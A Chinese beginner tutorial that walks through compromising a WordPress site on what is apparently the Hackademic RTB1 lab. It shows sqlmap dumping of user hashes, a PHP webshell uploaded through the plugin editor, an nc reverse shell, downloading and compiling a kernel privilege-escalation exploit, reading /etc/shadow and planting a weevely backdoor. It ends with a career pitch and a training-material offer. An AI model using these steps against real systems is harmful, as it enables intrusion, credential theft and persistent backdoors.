一篇科普文,很适合小白,长文请静下心看。
通过本文你将了解黑客常用的入手思路和技术手法,适合热爱网络信息安全的新手朋友了解学习。本文将从最开始的信息收集开始讲述黑客是如何一步步的攻破你的网站和服务器的。阅读本文你会学到以下内容:
1.渗透测试前的简单信息收集。
2.sqlmap的使用
3.nmap的使用
4.nc反弹提权
5.linux系统的权限提升
6.backtrack 5中渗透测试工具nikto和w3af的使用等.
假设黑客要入侵的你的网站域名为:hack-test.com
让我们用ping命令获取网站服务器的IP地址
现在我们获取了网站服务器的IP地址为:173.236.138.113
寻找同一服务器上的其它网站,我们使用sameip.org.
26 sites hosted on IP Address 173.236.138.113
173.236.138.113上有26个网站,很多黑客为了攻破你的网站可能会检查同服务器上的其它网站,但是本次是以研究为目标,我们将抛开服务器上的其它网站,只针对你的网站来进行入侵检测。
我们需要关于你网站的以下信息:
\1. DNS records (A, NS, TXT, MX and SOA)
\2. Web Server Type (Apache, IIS, Tomcat)
\3. Registrar (the company that owns your domain)
\4. Your name, address, email and phone
\5. Scripts that your site uses (php, asp, asp.net, jsp, cfm)
\6. Your server OS (Unix,Linux,Windows,Solaris)
\7. Your server open ports to internet (80, 443, 21, etc.)
让我们开始找你网站的DNS记录,我们用who.is来完成这一目标.
我们发现你的DNS记录如下
让我们来确定web服务器的类型
发现你的Web服务器是apache,接下来确定它的版本.
IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank: 1 Month:3,213,968 3 Month: 2,161,753
Page Views per Visit: 1 Month: 2.0 3Month: 3.7
接下来是时候寻找你网站域名的注册信息,你的电话、邮箱、地址等.
我们现在已经获取了你的网站域名的注册信息,包括你的重要信息等.
我们可以通过backtrack5中的whatweb来获取你的网站服务器操作系统类型和服务器的版本.
我们发现你的网站使用了著名的php整站程序wordpress,服务器的的系统类型为FedoraLinux,Web服务器版本Apache 2.2.15.继续查看网站服务器开放的端口,用渗透测试工具nmap:
1-Find services that run on server(查看服务器上运行的服务)
2-Find server OS(查看操作系统版本)
只有80端口是开放的,操作系统是Linux2.6.22(Fedora Core 6),现在我们已经收集了所有关于你网站的重要信息,接下来开始扫描寻找漏洞,比如:
Sql injection -- Blind sql injection -- LFI -- RFI -- XSS -- CSRF等等.
我们将使用Nikto来收集漏洞信息:
root@bt:/pentest/web/nikto# perlnikto.pl -h hack-test.com
我们也会用到Backtrack 5 R1中的W3AF 工具:
root@bt:/pentest/web/w3af#./w3af_gui
我们输入要检测的网站地址,选择完整的安全审计选项.
稍等一会,你将会看到扫描结果.
发现你的网站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.让我们来探讨SQL注入漏洞.
http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220
我们通过工具发现这个URL存在SQL注入,我们通过Sqlmap来检测这个url.
Using sqlmap with --u url
过一会你会看到
输入N按回车键继续
我们发现你的网站存在mysql显错注入,mysql数据库版本是5.0. 我们通过加入参数"-dbs"来尝试采集数据库名.
发现三个数据库,接下来通过参数"-D wordpress -tables"来查看wordpress数据库的所有表名
通过参数"-T wp_users --columns "来查看wp_users表中的字段.
接下来猜解字段user_login和user_pass的值.用参数"-C user_login,user_pass--dump"
我们会发现用户名和密码hashes值. 我们需要通过以下在线破解网站来破解密码hashes
http://www.onlinehashcrack.com/free-hash-reverse.php
登陆wordpress的后台wp-admin
尝试上传php webshell到服务器,以方便运行一些linux命令.在插件页面寻找任何可以编辑的插件.我们选择Textile这款插件,编辑插入我们的php webshell,点击更新文件,然后访问我们的phpwebshell.
Phpwebshell被解析了,我们可以控制你网站的文件,但是我们只希望获得网站服务器的root权限,来入侵服务器上其它的网站。
我们用NC来反弹一个shell,首先在我们的电脑上监听5555端口.
然后在Php webshell上反向连接我们的电脑,输入你的IP和端口5555.
点击连接我们会看到
接下来我们尝试执行一些命令:
python
id
uid=48(apache) gid=489(apache) groups=489(apache) (用来显示用户的id和组)
pwd
/var/www/html/Hackademic_RTB1/wp-content/plugins (显示服务器上当前的路径)
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 721:41:45 EST 2009 i686 i686 i386 GNU/Linux
(显示内核版本信息)
现在我们知道,服务器的内核版本是2.6.31.5-127.fc12.1686,我们在exploit-db.com中搜索此版本的相关漏洞.
在服务器上测试了很多exp之后,我们用以下的exp来提升权限.
http://www.exploit-db.com/exploits/15285
我们在nc shell上执行以下命令:
wgethttp://www.exploit-db.com/exploits/15285 -o roro.c
(下载exp到服务器并重命名为roro.c)
注:很多linux内核的exp都是C语言开发的,因此我们保存为.c扩展名.
exp roro.c代码如下:
python
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;struct sockaddr_in addr;s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0){
printf("[*] Could not open socket.");
exit(-1);
}
memset(&addr, 0, sizeof(addr));
通过以上代码我们发现该exp是C语言开发的,我们需要将它编译成elf格式的,命令如下:
gcc roro.c --ororo
接下来执行编译好的exp
./roro
执行完成之后我们输入id命令
id
我们发现我们已经是root权限了
uid=0(root) gid=0(root)
现在我们可以查看/etc/shadow文件
cat/etc/shadow
我们可以使用"john theripper"工具破解所有用户的密码.但是我们不会这样做,我们需要在这个服务器上留下后门以方便我们在任何时候访问它.
我们用weevely制作一个php小马上传到服务器上.
1.weevely使用选项
root@bt:/pentest/backdoors/web/weevely#./main.py -
2.用weevely创建一个密码为koko的php后门
root@bt:/pentest/backdoors/web/weevely#./main.py -g -o hax.php -p koko
接下来上传到服务器之后来使用它
root@bt:/pentest/backdoors/web/weevely#./main.py -t -uhttp://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -pkoko
测试我们的hax.php后门
题外话
网络安全行业特点
1、就业薪资非常高,涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!
2、人才缺口大,就业机会多
2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
行业发展空间大,岗位非常多
网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员...
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。
从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。
关于网络安全学习指南
学习网络安全技术的方法无非三种:
第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。
第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。
第三种就是去找培训。
接下来,我会教你零基础入门快速入门上手网络安全。
网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。
第一阶段:基础准备 4周~6周
这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
第二阶段:web渗透
学习基础 时间:1周 ~ 2周:
① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
配置渗透环境 时间:3周 ~ 4周:
① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。
渗透实战操作 时间:约6周:
① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
以上就是入门阶段
第三阶段:进阶
已经入门并且找到工作之后又该怎么进阶?详情看下图
给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!
如果你对网络安全入门感兴趣,那么你需要的话可以在下方扫码领取!!